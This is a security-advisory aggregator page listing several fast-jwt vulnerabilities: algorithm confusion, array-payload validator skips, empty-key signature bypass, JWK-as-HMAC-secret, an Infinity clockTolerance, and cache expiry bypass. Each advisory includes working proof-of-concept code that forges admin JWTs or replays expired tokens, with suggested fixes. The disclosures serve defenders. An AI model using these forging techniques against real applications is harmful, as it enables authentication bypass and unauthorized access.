Where
-Infinity
0
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is incomplete. It adds key.trim() to the PEM-detection path in src/crypto.js, but String.prototype.trim() only strips characters classified as whitespace by the ECMAScript specification. The subsequent ^-anchored regex (/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/) still requires the PEM header at position 0 — so any non-whitespace leading byte (control chars, zero-width unicode, # comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the exact same RSA→HS256 algorithm-confusion attack the original CVE addressed is fully re-enabled with a slightly different leading byte.

Attack prerequisites are identical to CVE-2026-34950: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).

Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.

Details

Post-patch code (src/crypto.js, lines ~74-171 in performDetectPublicKeyAlgorithms):

js function performDetectPublicKeyAlgorithms(key) { const trimmedKey = key.trim() // <-- CVE-2026-34950 patch added this if (publicKeyPemMatcher.test(trimmedKey)) { // treat as RSA/EC public key ... } // fall-through: treat as HMAC secret <-- bug: reachable via non-whitespace prefix ... } const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/

The bug: String.prototype.trim() only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the ^-anchored regex fails, and execution falls through to the HMAC path with key being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.

Identical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).

PoC

js 'use strict'; const { createHmac, generateKeyPairSync } = require('node:crypto'); const { createVerifier } = require('fast-jwt');

const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 }); const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();

// Attacker-controlled "key" content as loaded by the verifier // (models a realistic deployment: key with a leading metadata comment) const key = '# some comment\n' + pem;

const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url'); const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url'); const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url'); const forgedToken = header + '.' + payload + '.' + sig;

const verifier = createVerifier({ key }); console.log('Forged token payload:', verifier(forgedToken)); console.log('Package version:', require('fast-jwt/package.json').version);

Observed output (2026-04-23, fresh npm install): Forged token payload: { admin: true, sub: 'attacker' } Package version: 6.2.2

Full bypass matrix (all verified accepting a forged admin token)

| Leading content | Accepted as admin? | |---|:-:| | # some comment\n + PEM | ✅ BYPASS | | U+0000 (NUL) + PEM | ✅ BYPASS | | U+0001 (SOH) + PEM | ✅ BYPASS | | U+0008 (BACKSPACE) + PEM | ✅ BYPASS | | U+001B (ESC, ANSI-color) + PEM | ✅ BYPASS | | U+007F (DEL) + PEM | ✅ BYPASS | | U+200B (ZWSP) + PEM | ✅ BYPASS | | U+200D (ZWJ) + PEM | ✅ BYPASS | | HTTP/1.1 200 OK\r\n\r\n + PEM | ✅ BYPASS | | PGP-wrapper text + PEM | ✅ BYPASS | | . + PEM | ✅ BYPASS | | U+FEFF (BOM) + PEM | ❌ correctly stripped by trim |

Defense matrix (which caller configs are vulnerable)

| Caller config | Vulnerable? | |---|:-:| | createVerifier({ key }) (no algorithms allowlist) | ✗ VULNERABLE | | createVerifier({ key: asyncCallback }) | ✗ VULNERABLE | | createVerifier({ key, algorithms: ['RS256'] }) | ✓ protected | | createVerifier({ key, algorithms: ['HS256'] }) | ✗ VULNERABLE (attacker matches) |

Impact

1. Authentication bypass — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an algorithms allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes. 2. Severity-parity with CVE-2026-34950 — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed one trigger (whitespace) rather than the class (any surrounding content before -----BEGIN). 3. Broad fast-jwt deployment — default JWT backend of @fastify/jwt; used by many Fastify-based Node.js APIs.

Suggested fix

Option A (minimal) — locate the PEM block rather than anchoring on position 0:

js const pemStart = trimmedKey.indexOf('-----BEGIN') if (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }

Option B (strict, recommended) — require the key to be exactly a PEM block:

js const pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\s\S]+?-----END \1?PUBLIC KEY-----/.exec(trimmedKey) if (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { / valid PEM, no surrounding content / }

Option C (defense-in-depth, regardless of A/B) — on the HMAC fallback path, reject any key that contains PEM markers:

js if (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) { throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback') }

Test coverage gap

test/crypto.spec.js post-CVE-2026-34950 only tests whitespace padding (['\n', ' ', ' \n', '\n ', '\t\t']). Add coverage for: - Control bytes (U+0000-U+001F, U+007F) - Zero-width Unicode (U+200B, U+200C, U+200D, U+180E) - Comment prefixes (#, //, ;, --) - Mixed-content wrappers (PGP blocks, HTTP headers) - Arbitrary binary prefix bytes

Credit

Reporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary fast-jwt's createVerifier silently skips all configured claim validators (exp, nbf, iss, aud, sub, jti, nonce) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented allowedIss / allowedAud / allowedSub / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object.

Details The decoder validates the header is a non-array object but the payload check is missing the Array.isArray guard:

javascript // src/decoder.js:49 — header check (correct) if (!header || typeof header !== 'object' || Array.isArray(header)) { throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.') }

// src/decoder.js:65 — payload check (vulnerable) if (!payload || typeof payload !== 'object') { // typeof [] === 'object' throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) }

Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.

In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only numeric indices and length):

// src/verifier.js:304-323 for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) { const value = payload[claim] ... if (!(claim in payload)) { // 'exp' in [] === false, 'iss' in [] === false, etc. continue // every validator silently skipped } ... }

Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error returned to the caller. The verifier returns the array as the payload.

requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is opt-in and not commonly configured.

GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates inside the validator loop body and is never reached for this variant.

PoC

javascript const { createVerifier } = require('fast-jwt') const crypto = require('crypto')

const key = 'shared-secret' const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url') const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url') const sig = crypto.createHmac('sha256', key).update(${header}.${payload}).digest('base64url') const token = ${header}.${payload}.${sig}

const verify = createVerifier({ key, allowedIss: ['legit-issuer'], allowedAud: ['legit-audience'], allowedSub: ['legit-subject'] // exp enforcement is on by default })

console.log(verify(token)) // Output: [ 'attacker', 'role:admin' ] // No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.

// Control: an object payload with the same garbage claims is correctly rejected: const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url') const sig2 = crypto.createHmac('sha256', key).update(${header}.${bad}).digest('base64url') verify(${header}.${bad}.${sig2}) // Throws: "The token has expired at 1970-01-01T00:00:01.000Z."

Verified against fast-jwt v6.2.4 (current master, commit a510448).

Suggested patch (src/decoder.js:65):

- if (!payload || typeof payload !== 'object') { + if (!payload || typeof payload !== 'object' || Array.isArray(payload)) { throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) }

This mirrors the existing header guard at line 49.

Impact Type: Silent authorization-validator bypass. When a validly-signed JWT carries a JSON array as its payload, createVerifier skips every configured claim validator (exp, nbf, iss/allowedIss, aud/allowedAud, sub/allowedSub, jti, nonce) and returns success. Only the signature is actually checked; the verifier gives no error or warning that the configured defenses did not run.

Who is impacted: Any application using fast-jwt's createVerifier with claim-validation options and where an attacker can produce or influence a validly-signed token. The realistic deployments are:

- Shared-HMAC microservice meshes — any party holding the secret can mint a token accepted by every other verifier with audience, issuer, and expiry enforcement disabled. - Multi-tenant token issuers and SSO backends — a tenant or upstream caller able to influence payload shape can obtain forever-tokens accepted platform-wide. - Delegated signing / weak issuer-side input validation — any issuer that serializes attacker-controlled JSON into the payload without enforcing object shape.

Consequences: forever-tokens (expiry bypass), cross-service replay (audience bypass), issuer spoofing in federated/OIDC setups, revocation-list bypass via missing jti, OIDC nonce replay, and audit-trail corruption (payload.sub is undefined so authenticated requests appear unattributable in logs).

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
Input Validation
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

js const keyType = typeof key if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') { throw new TokenError(/ ... /) } if (key && keyType !== 'function') { key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0])) }

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

js function prepareKeyOrSecret(key, isSecret) { if (isSecret && key.length === 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.') } return isSecret ? createSecretKey(key) : createPublicKey(key) }

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

js const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) { throw new TokenError(/ missingSignature /) } else if (!hasKey && signature) { throw new TokenError(/ missingKey /) } // !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

js if (signature && !verifySignature(header.alg, key, input, signature)) { throw new TokenError(/ invalidSignature /) }

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

- createSigner({ key: '' }) / key: null → rejected - createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests) - createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

bash cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install

js // poc-empty-key-bypass.js const { createVerifier } = require('.')

function unsigned(alg, claims) { const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url') const p = Buffer.from(JSON.stringify(claims)).toString('base64url') return ${h}.${p}. // trailing dot = empty signature }

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist const verify = createVerifier({ key: '', algorithms: ['HS256'] }) console.log(verify(token)) // → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true }))) // → { admin: true }

// Negative controls (correctly rejected): try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) } catch (e) { console.log('non-empty key:', e.code) } // FASTJWTMISSINGSIGNATURE

try { createVerifier({ key: '' })(token) } catch (e) { console.log('empty key, no algorithms:', e.code) } // FASTJWTINVALIDALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) } catch (e) { console.log('empty Buffer:', e.code) } // FASTJWTINVALIDKEY

Expected: TokenError with code FASTJWTINVALIDKEY Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWTSECRET || ''), and 2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

js if (keyType !== 'function') { if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be null, empty, or a zero-length buffer.') } }

Also guard the combination explicitly:

js if (!key && allowedAlgorithms.length > 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be falsy when algorithms is set.') }

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

fast-jwt 6.2.4 silently classifies raw serialized public JWK JSON as an HMAC secret.

If an application supplies public JWK JSON text as the verifier key and HS256 is explicitly allowed or automatically inferred, an attacker who knows the same public JSON text can use it as an HMAC key and create an arbitrary HS256 token that fast-jwt accepts as valid.

This can result in authentication or authorization bypass through forged JWT claims.

The PoC demonstrates the issue with a serialized RSA public JWK. The same non-PEM classification also applies to raw JWKS JSON text, although the attached standalone PoC focuses on the smallest JWK case.

Details

The verifier accepts a string or Buffer as key material. In src/crypto.js, performDetectPublicKeyAlgorithms() attempts to infer the permitted algorithm family from the supplied string.

Strings matching supported PEM public-key formats are classified as asymmetric keys. Any other non-empty string is assumed to be an HMAC secret:

js function performDetectPublicKeyAlgorithms(key) { const trimmedKey = key.trim() const publicKeyPemMatch = trimmedKey.match(publicKeyPemMatcher)

if (trimmedKey.match(privateKeyPemMatcher)) { throw new TokenError( TokenError.codes.invalidKey, 'Private keys are not supported for verifying.' ) } else if ( publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA' ) { return rsaAlgorithms } else if ( !publicKeyPemMatch && !trimmedKey.includes(publicKeyX509CertMatcher) ) { // Not a PEM, assume a plain secret return hsAlgorithms }

// ... }

A serialized RSA, EC, or OKP public JWK is valid JSON, but it is not PEM and does not contain a certificate header. It therefore reaches:

return hsAlgorithms

The HS256 verification path then uses the complete public JSON string as the HMAC key.

Because JWK public-key material is public by design, an attacker can know the verifier's cryptographic key material. When that public material is reinterpreted as an HMAC secret, the attacker can calculate a valid HS256 signature over arbitrary claims.

The vulnerable transition is:

Public asymmetric JWK JSON | v Does not match PEM detection | v Classified as a plain secret | v HS256 permitted or inferred | v Attacker signs using public JSON bytes | v Forged token accepted

The attached PoC demonstrates both relevant configurations:

An explicit mixed-family allowlist: createVerifier({ key: rawJwk, algorithms: ['HS256', 'RS256'] }) No explicit algorithm allowlist: createVerifier({ key: rawJwk })

In the second configuration, fast-jwt detects the raw non-PEM string as symmetric key material and permits the HS algorithm family.

An RS256-only verifier rejects the same forged token, providing a negative control:

createVerifier({ key: rawJwk, algorithms: ['RS256'] })

The documentation describes asymmetric verifier keys as PEM-encoded public keys. The security issue is not that the raw JWK is successfully parsed as an asymmetric key. It is that ambiguous structured public-key text is silently reclassified as a symmetric secret rather than being rejected, and that this classification permits an attacker-controlled HS256 token.

PoC

Requirements:

Node.js 20 or newer npm The attached submission ZIP

Extract the attachment and run:

cd poc npm install node poc.js

The PoC performs the following steps:

Generates a fresh RSA key pair locally. Exports only the public key as a JWK. Adds ordinary public JWK metadata such as kid, use, and alg. Serializes the public JWK as JSON. Uses the serialized public JWK text as an HS256 HMAC key. Creates a token containing attacker-selected administrative claims. Supplies the same raw public JSON string to the real fast-jwt verifier. Confirms acceptance with a mixed HS256/RS256 allowlist. Confirms acceptance when algorithm detection is left enabled. Confirms rejection with an RS256-only verifier.

Expected output:

mixed algorithms: forged token accepted inferred algorithms: forged token accepted RS256-only control: forged token rejected VULNERABLE: fast-jwt@6.2.4 accepted attacker-signed HS256 claims

The accepted token contains:

{ "sub": "attacker", "role": "admin", "admin": true }

The PoC operates entirely locally using a newly generated key pair. It does not contact any production service, identity provider, or third-party application.

Impact

An affected application may accept attacker-generated JWT claims as authentic.

Depending on how verified claims are used, an attacker could potentially forge:

user or subject identifiers; administrator roles; authorization scopes; permissions; tenant or organization identifiers; and application-specific authorization flags.

This may result in authentication bypass, horizontal privilege escalation, vertical privilege escalation, or unauthorized access to protected application data.

Exploitation requires all of the following:

The application passes raw serialized public JWK or JWKS JSON text as the verifier key. HS256 is explicitly permitted or is inferred from the non-PEM string. The attacker knows the exact serialized bytes supplied to the verifier.

Public JWK/JWKS material is normally available to relying parties and often exposed through public discovery endpoints. However, property ordering, whitespace, or other serialization differences may affect an attacker's ability to reproduce the exact HMAC key bytes.

These integration and serialization requirements are represented by High attack complexity.

Applications that supply a supported PEM public key and restrict verification to the expected asymmetric algorithm family are not affected by this PoC.

Earlier package versions were not assessed as part of this report.

Suggested remediation

Structured public-key representations should be detected before an arbitrary non-PEM string is classified as symmetric key material.

At minimum, JSON strings containing asymmetric JWK or JWKS structures should be rejected for HS verification. Relevant asymmetric kty values include:

RSA EC OKP

Potential approaches include:

Parse JSON-looking verifier strings before HMAC classification. Reject asymmetric JWK/JWKS structures for HS256, HS384, and HS512. Do not treat all non-PEM strings as symmetric secrets merely because PEM detection failed. Require explicit algorithm selection when the key format is ambiguous. Bind the permitted algorithm family to the semantic key type rather than the success or failure of PEM detection.

Regression tests should cover:

compact serialized JWK JSON; pretty-printed JWK JSON; raw JWKS JSON; RSA, EC, and OKP public keys; mixed symmetric/asymmetric algorithm allowlists; default algorithm detection; asymmetric-only algorithm controls; trailing whitespace and newline variants; and property-order and serialization variants. fast-jwt-raw-jwk-hs256-submit.zip

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

Summary

createVerifier({ clockTolerance: Infinity }) silently bypasses both exp (expiry) AND nbf (not-before) validation. Any expired or not-yet-active token is accepted as valid. The same primitive also corrupts the verifier's internal cache so cached entries inherit infinite validity — they remain valid past a later developer-removed Infinity config until LRU eviction.

Vulnerable code

src/verifier.js:531-533 — option validation only rejects negative values, not Infinity:

js if (clockTolerance && (typeof clockTolerance !== 'number' || clockTolerance < 0)) { throw new TokenError(TokenError.codes.invalidOption, 'The clockTolerance option must be a positive number.') }

Infinity passes (it's a number, not less than 0, truthy).

src/verifier.js:583-602 — clockTolerance flows into the date-claim validators:

js if (!ignoreNotBefore) { validators.push({ ..., modifier: -clockTolerance }) // → -Infinity } if (!ignoreExpiration) { validators.push({ ..., modifier: +clockTolerance }) // → Infinity }

src/verifier.js:198-205 — applies modifier additively, producing always-pass comparisons:

js function validateClaimDateValue(value, modifier, now, greater, errorCode, errorVerb) { const adjusted = value 1000 + (modifier || 0) // → ±Infinity const valid = greater ? now >= adjusted : now <= adjusted // → always true ... }

Empirical PoC

js const { createSigner, createVerifier } = require('fast-jwt') const secret = 'test-secret-with-enough-length-to-pass'

const sign = createSigner({ key: secret, algorithm: 'HS256' }) const expiredToken = sign({ sub: 'alice', iat: Math.floor(Date.now()/1000) - 3600, exp: Math.floor(Date.now()/1000) - 1800, // expired 30 min ago })

const v1 = createVerifier({ key: secret }) try { v1(expiredToken) } catch (e) { console.log('baseline rejects:', e.message) } // → "The token has expired at ..."

const v2 = createVerifier({ key: secret, clockTolerance: Infinity }) console.log('bypass:', v2(expiredToken)) // → { sub: 'alice', iat: ..., exp: ... } ← expired token accepted as valid

// Not-yet-active token (nbf in 1 day) — same bypass const futureToken = sign({ sub: 'bob', iat: Math.floor(Date.now()/1000), nbf: Math.floor(Date.now()/1000) + 86400, }) console.log('bypass nbf:', v2(futureToken)) // → { sub: 'bob', ... } ← not-yet-active token accepted as valid

Verified against fast-jwt@HEAD on 2026-06-03 (commit pulled today).

Cache side-effect

The verifier's LRU cache uses clockTolerance to compute the cache entry's expiry window:

src/verifier.js:121-134: js cacheValue[1] = ... payload.nbf 1000 - clockTolerance : 0 // → -Infinity cacheValue[2] = payload.exp 1000 + clockTolerance // → Infinity const maxTTL = clockTimestamp + clockTolerance + cacheTTL // → Infinity

With clockTolerance: Infinity, cache entries are stored with [min=-Infinity, max=Infinity]. The cache-hit check (min === 0 || now < min || now <= max) always passes for cached tokens.

Consequence: a developer who briefly sets clockTolerance: Infinity (e.g., during debug) and then removes it will find that any verifications performed during the debug window remain cached as valid until LRU eviction (default 1000 entries).

Asymmetric hardening — the smoking-gun shape

src/signer.js:98, 104 CORRECTLY uses Number.isFinite() to reject Infinity for expiresIn and notBefore:

js expiresIn != null && Number.isFinite(expiresIn) ? Math.floor((iat + expiresIn) / 1000) : ...

The verifier's clockTolerance validation doesn't apply the same guard. The same < 0 check pattern is also applied to clockTimestamp (line 527-529) and cacheTTL (line 535-537) — both also accept Infinity.

This is the kind of asymmetry that often indicates a missed hardening pass: the sign-side was hardened against Infinity but the verify-side wasn't.

Threat model

The bug requires the developer to (mis)configure clockTolerance: Infinity. Realistic ways this happens:

1. Developer using Infinity as a sentinel for "disable expiry": common JS idiom; many libraries accept Infinity as "no limit." fast-jwt's signer treats Infinity as invalid (Number.isFinite false) but the verifier silently accepts it. 2. JSON / env-var misconfig: config file or env var sets clockTolerance to "Infinity" (string); Number("Infinity") === Infinity. Surprising via JSON.parse + Number cast or even JSON.parse('{"clockTolerance": null}') if the codec accepts null → Infinity. 3. Test config bleed: integration tests use Infinity to make tokens never expire during long-running tests; the config bleeds into production.

For a JWT library, silently disabling token expiry on a "looks like a non-negative number" input is a security boundary failure.

Suggested fix

Single-line addition: use Number.isFinite() consistent with signer.js:

js if (clockTolerance && (typeof clockTolerance !== 'number' || !Number.isFinite(clockTolerance) || clockTolerance < 0)) { throw new TokenError(TokenError.codes.invalidOption, 'The clockTolerance option must be a finite, non-negative number.') }

Same fix for clockTimestamp (line 527-529) and cacheTTL (line 535-537) for consistency.

Optional defense-in-depth: cap clockTolerance to a reasonable upper bound (e.g., 5 minutes = 300000 ms) with a process.emitWarning above that. Most legitimate use cases need <60s tolerance.

Affected versions

All versions since clockTolerance was first introduced in PR #193 (v1.5.1). Current main HEAD on 2026-06-03 is affected.

Reporter

Andrew Ridings (independent security researcher). Happy to coordinate disclosure timing and follow up with any clarifications. Email: ridingsa@gmail.com

1 / 2
Source: GitHub
First published (updated )
Severity
4.2
AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Summary cacheSet only derives its exp cache deadline inside hasIat (src/verifier.js:127-140). JWT iat is optional. For a valid token with exp but no iat, cacheSet substitutes clockTimestamp + clockTolerance + cacheTTL (src/verifier.js:142-146). Later, the cache path returns the saved payload before decoding or invoking verifyToken (src/verifier.js:372-388). Since expiration validation is in verifyToken, the expired token remains accepted until the cache deadline.

Details The bug is an expiration-check bypass caused by caching.

Normally, verification works like this:

1. Verify signature. 2. Check exp against the current time. 3. Return the JWT claims.

With caching enabled, fast-jwt saves successful verification results so it can avoid repeating crypto work for the same token.

The intended invariant is:

> A cached token must stop being accepted at the same time as a non-cached token.

But the cache computes its expiration incorrectly.

In fast-jwt/src/verifier.js:127, the code first checks whether the payload has an iat (“issued at”) claim:

js const hasIat = payload && typeof payload.iat === 'number'

if (hasIat) { if (!ignoreExpiration && typeof payload.exp === 'number') { cacheValue[2] = payload.exp 1000 + clockTolerance } }

That means exp is considered only when iat exists.

However, iat is optional in JWT. A perfectly valid JWT may contain:

js { "sub": "alice", "exp": 1700000001 } with no iat.

For that token, the expiration-based cache deadline is never set. The code falls back to the generic cache TTL—10 minutes by default:

js const maxTTL = clockTimestamp + clockTolerance + cacheTTL cacheValue[2] = cacheValue[2] === 0 ? maxTTL : Math.min(cacheValue[2], maxTTL)

Later, cache lookup happens before decoding and expiration validation:

js const [value, min, max] = cache.get(cacheKeyBuilder(token)) || [undefined, 0, 0]

if (typeof value !== 'undefined' && (max === 0 || now <= max)) { return handleCachedResult(value, callback, promise) }

So the timeline is:

12:00:00 Token has exp = 12:00:01, no iat. 12:00:00 Server verifies it successfully and caches its claims. 12:00:01 Token expires. 12:00:02 Attacker replays the identical token. 12:00:02 Cache hit returns old claims; exp is never rechecked. 12:10:00 Cache TTL finally ends; normal expiration rejection resumes.

An attacker cannot forge a token through this issue. They need a valid token first; typically their own, or a stolen bearer token. But they can keep using it after its intended expiration if all of these are true:

- The application enables cache. - The JWT has exp but no iat. - The token was cached before expiry. - It is replayed before the cache entry expires.

Impact depends on the application. For a short-lived access token, it can extend access by up to the configured cacheTTL of 10 minutes by default, or more if the application configured it that way. This undermines expiry as an authentication/session boundary.

The minimal repair is to calculate the cache deadline from exp independently of iat. iat should only matter for maxAge, because max age is inherently defined relative to issuance time.

PoC js const assert = require('node:assert/strict') const { createSigner, createVerifier } = require('fast-jwt')

const key = 'audit-only-secret' const originalNow = Date.now

try { const initialNow = 1700000000000 const exp = Math.floor(initialNow / 1000) + 1 // expires one second later

// noTimestamp intentionally omits iat, while exp is retained. const sign = createSigner({ key, algorithm: 'HS256', noTimestamp: true }) const token = sign({ sub: 'alice', exp })

const verify = createVerifier({ key, algorithms: ['HS256'], cache: true, cacheTTL: 60000 })

Date.now = () => initialNow assert.equal(verify(token).sub, 'alice') // Valid; stores cache entry.

Date.now = () => exp 1000 + 1 assert.equal(verify(token).sub, 'alice') // BUG: should throw FASTJWTEXPIRED.

console.log('VULNERABLE: expired exp-without-iat token served from cache') } finally { Date.now = originalNow }

Impact This is an authentication/session-expiration bypass caused by incorrect cache validation. The following are impacted: - Applications using the affected fast-jwt code with cache: true. - Applications that rely on JWT exp to end sessions or limit bearer-token lifetime. - Tokens with exp but no iat, after they were successfully verified and cached.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203